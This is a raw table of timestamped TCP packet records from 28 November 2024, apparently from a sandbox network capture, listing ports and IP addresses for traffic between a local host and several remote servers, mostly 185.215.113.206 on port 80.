Nov 28, 2024 15:17:41.504863024 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.504910946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.504941940 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.505151987 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.505830050 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.505887985 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.505920887 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.505930901 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.505961895 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.505976915 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.506282091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.506367922 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.506422997 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.507016897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.507096052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.507097960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.507139921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.508553028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.508572102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.508621931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.508650064 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.509138107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.509203911 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.509335995 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.509488106 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.510178089 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.510289907 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.510333061 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.510390043 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.511287928 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.511349916 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.511446953 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.511538982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.512351036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.512363911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.512422085 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.512444973 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.513444901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.513534069 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.513562918 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.513612032 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.514539003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.514594078 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.514633894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.514679909 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.515610933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.515662909 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.515860081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.515913010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.516695023 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.516730070 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.516762018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.516782045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.517770052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.517832994 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.517843962 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.517885923 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.518878937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.518918037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.518954992 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.518975973 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.519974947 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.520037889 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.520051956 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.520201921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.529392004 CET	49848	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.564418077 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.564471960 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.564516068 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.564523935 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.564564943 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.564584970 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.591341972 CET	443	49849	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.591401100 CET	49849	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.612137079 CET	443	49842	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.612168074 CET	443	49842	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.612214088 CET	443	49842	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.612230062 CET	49842	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.612246990 CET	443	49842	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.612283945 CET	49842	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.612853050 CET	49842	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.612859011 CET	443	49842	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.612976074 CET	49842	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.613032103 CET	443	49842	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.613068104 CET	443	49842	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.613174915 CET	49842	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.614768982 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.614794970 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.614846945 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.614872932 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.614887953 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.615133047 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.647321939 CET	49855	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.647356987 CET	443	49855	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.647430897 CET	49855	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.648325920 CET	49855	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.648344994 CET	443	49855	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.650420904 CET	49856	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.650438070 CET	443	49856	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.650485039 CET	49856	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.650727987 CET	49856	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.650741100 CET	443	49856	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.661751986 CET	49857	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.661827087 CET	443	49857	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.661886930 CET	49857	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.664118052 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.664133072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.664227962 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.664227962 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.664634943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.664647102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.664675951 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.664690018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.665154934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.665167093 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.665220022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.665566921 CET	49858	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.665606976 CET	443	49858	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.665685892 CET	49858	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.665744066 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.665857077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.666167974 CET	49858	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.666181087 CET	443	49858	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.666866064 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.666877985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.666889906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.666896105 CET	49859	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.666933060 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.666939020 CET	443	49859	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.666989088 CET	49859	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.667197943 CET	49859	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.667216063 CET	443	49859	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.667732954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.667746067 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.667776108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.667789936 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.668183088 CET	49860	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.668212891 CET	443	49860	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.668423891 CET	49860	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.668550968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.668601990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.668643951 CET	49860	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.668654919 CET	443	49860	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.668901920 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.668965101 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.669393063 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.669528008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.669734955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.669792891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.670125961 CET	49861	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.670145035 CET	443	49861	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.670231104 CET	49861	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.670388937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.670404911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.670438051 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.670452118 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.671374083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.671386957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.671420097 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.671432972 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.672220945 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.672278881 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.673094988 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.673115015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.673127890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.673151016 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.673165083 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.674138069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.674151897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.674197912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.674994946 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.675874949 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.675888062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.675901890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.675926924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.675966024 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.676800966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.676847935 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.676884890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.677592039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.677683115 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.677722931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.677864075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.677906036 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.678730011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.678750038 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.678775072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.678797007 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.679173946 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.679200888 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.679246902 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.679263115 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.679291964 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.679306984 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.679626942 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.679640055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.679672956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.680430889 CET	49861	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.680443048 CET	443	49861	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.680483103 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.680533886 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.680732965 CET	49857	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:41.680763960 CET	443	49857	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:41.680942059 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.680988073 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.681113005 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.681127071 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.681159973 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.681174040 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.682123899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.682164907 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.682790041 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.682807922 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.682822943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.682842016 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.682851076 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.682862997 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.682874918 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.682874918 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.682914019 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.683556080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.683614016 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.683779955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.683824062 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.684442997 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.684456110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.684499979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.684513092 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.685348034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.685395002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.685589075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.685853004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.686269999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.686327934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.686359882 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.686361074 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.687195063 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.687206984 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.687242031 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.687258959 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.688075066 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.688119888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.688961983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.689002037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.689013004 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.689026117 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.689048052 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.689059973 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.689908981 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.689956903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.690860987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.690875053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.690916061 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.690936089 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.690936089 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.690952063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.691781998 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.691797018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.691828966 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.691843033 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.692652941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.692758083 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.692831039 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.692873001 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.693608999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.693681002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.693941116 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.693995953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.694850922 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.694881916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.694897890 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.694922924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.695415974 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.695426941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.695545912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.696479082 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.696500063 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.696538925 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.696553946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.697292089 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.697309971 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.697367907 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.697369099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.698188066 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.698199987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.698241949 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.699120045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.699131966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.699160099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.699172974 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.700031996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.700042963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.700098038 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.704109907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.704185009 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.704682112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.704734087 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.704739094 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.704751015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.704775095 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.704783916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.704797983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.704823971 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.704848051 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.704912901 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.705358028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.705374002 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.705410004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.706368923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.706382036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.706621885 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.707221985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.707227945 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.707276106 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.708228111 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.708323956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.708586931 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.708641052 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.709068060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.709110975 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.709266901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.709342003 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.709815979 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.709868908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.709945917 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.709988117 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.710863113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.710915089 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.711009026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.711050987 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.711688042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.711791992 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.712088108 CET	443	49850	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.712306976 CET	49850	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.712317944 CET	443	49850	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.712804079 CET	443	49850	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.713139057 CET	49850	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.713212967 CET	443	49850	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.714530945 CET	443	49851	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.714731932 CET	49851	443	192.168.2.6	162.159.61.3
